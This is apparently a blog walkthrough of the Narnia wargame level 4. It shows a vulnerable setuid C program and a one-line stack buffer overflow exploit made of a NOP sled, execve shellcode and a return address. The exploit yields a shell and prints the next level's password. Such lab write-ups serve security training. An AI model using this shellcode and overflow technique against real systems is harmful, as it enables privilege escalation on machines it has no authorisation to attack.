# Narnia wargame: Level 4


# ssh narnia4@narnia.labs.overthewire.org
narnia4@narnia.labs.overthewire.org's password:746861656e6f68746169

narnia4@melissa$ file /narnia/narnia4
/narnia/narnia4: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
narnia4@melissa$ cat /narnia/narnia4.c
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
        int i;
        char buffer[256];

        for(i = 0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));

        if(argc>1)
                strcpy(buffer,argv[1]);

        return 0;
}
narnia4@melissa$ /narnia/narnia4 `perl -e 'print "\x90"x206 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xd0\xd4\xff\xff"x40'`
$ /usr/bin/whoami
narnia5
$ /bin/cat /etc/narnia_pass/narnia5
6661696d616863686979

No comments: